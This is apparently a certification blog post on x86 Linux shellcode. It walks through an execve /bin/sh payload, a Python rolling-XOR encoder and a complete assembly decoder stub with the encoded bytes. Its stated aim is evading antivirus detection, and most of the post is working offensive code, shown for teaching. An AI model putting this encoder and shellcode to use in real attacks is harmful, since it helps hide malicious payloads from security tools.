This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.
Student ID: PA-8535
I’m going to create a custom encoder/decoder to modify an original shellcode and after recover it and execute it. The purpose of this kind of techniques is to evade av protection.
For this exercise I’m going to use a shellcode that I’ve already wrote following the SLAE course material. This code is going to pop an bin/sh shell using excve system call. Here you can read the code:
; Filename: execve-stack.nasm ; Author: Vivek Ramachandran ; Website: https://www.pentesteracademy.com global _start section .text _start: ; PUSH the first null dword xor eax, eax push eax ; PUSH //bin/sh (8 bytes) push 0x68732f2f push 0x6e69622f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80
And this is the shellcode:
I’ve already wrote an article that explains step by step how to create this code. This article follows the SLAE course explanation to generate this shellcode:
For this exercise also I’m going to use JMP-CALL-POP technique, that is already taught in SLAE course. Here I wrote 2 more articles that contains step by step how to use it:
Now that we already understand how JMP-CALL-POP and STACK techniques work, and how to implement and execve /bin/sh shellcode, I can start with the explanation of this assignment.
My idea for this encoder is the following one, we are going to XOR the first byte for 0x01, the second one for 0x02, the third one for 0x03, and so on.
I try to explain it graphically with the following table:
|Shellcode||Byte 1||Byte 2||Byte3||Byte4||Byte5|
Doing this we face multiple problems, if we XOR a value for the same value we can generate a null byte for example, and our shellcode won’t work, this can generate us a lot of bad characters.
To avoid this I manually checked the original shellcode and I saw that the lower hex value that we are using is 0x0B that is 11 in decimal. So I decided to customize the encoding to try to avoid this problems, and also to add a bit of complexity.
We have a shellcode of 25 characters. We are going to XOR the first 10 ones for the values: 0x01, 0x02, 0x03 … until 0x0A (value 10). Then, we are going to start again from the value 0x01 until the value 0x10.
So in conclusion, we are going to XOR the first 10 characters, for values 1 to 10, the positions 11 to 20 for the values 1 to 10. And the positions 21 to 25 for the values 1 to 5.
|Shellcode||Pos 1-10||Pos 11-20||Pos 21-25|
|XOR Keys||1 to 10||1 to 10||1 to 5|
To implement this, first of all I created the following python encoder:
#!/usr/bin/python # Autor: Xavi Beltran # Date: 05/05/2019 shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" encoded2 = "" print 'Encoded shellcode ...' i = 1 for x in bytearray(shellcode) : if i == 11: i = 1 y = x^i encoded += '\\x' encoded += '%02x' % y encoded2 += '0x' encoded2 += '%02x,' %y i = i + 0x01 print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode))
If we use it, to encode the /bin/sh execve original code we are going to generate the following shellcode:
Now it’s time to prepare the decoder. We need to decode the original code using XOR operation, and increment the xor-key in 1 until we arrive to value 0x0B. When we detect that the dl counter has an 0x0B, we are going to restart the counter and set it to 1 and start the loop again.
We can do that, with the following piece of code:
<... CODE ...> xor edx, edx mov dl, 1 ; initialize dl to value 1 <... CODE ...> ; Decode function decode: cmp dl, 0x0b ; Identify if we found a 0x0B jz xor_counter ; Jmp to reset counter if the compare operation is not 0 xor byte [esi], dl ; XOR operation using xor key that is stored in dl inc esi ; increment counter 1 inc dl ; increment counter 2 loop decode jmp short Shellcode ; Jmp to the final decoded shellcode xor_counter: mov dl, 1 ; Reset counter jmp decode <... CODE ...>
If we put everything together, we get the final assembly code that is the following one:
; Filename: xor-decoder-multiple-keys.nasm ; Author: Xavi Beltran ; Date: 05/05/2019 global _start section .text _start: xor edx, edx mov dl, 1 jmp short call_decoder decoder: pop esi xor ecx, ecx mov cl, 25 decode: cmp dl, 0x0b jz xor_counter xor byte [esi], dl inc esi inc dl loop decode jmp short Shellcode xor_counter: mov dl, 1 jmp decode call_decoder: call decoder Shellcode: db 0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85
Finally, here you can see a screenshot, of the code working! 🙂
As in the other assignments, you can find all the code used in my Github account:
Also, I submitted the code to Exploit-DB database, you can find it in the link below:
That’s all for this exercise. This assignment was difficult but interesting!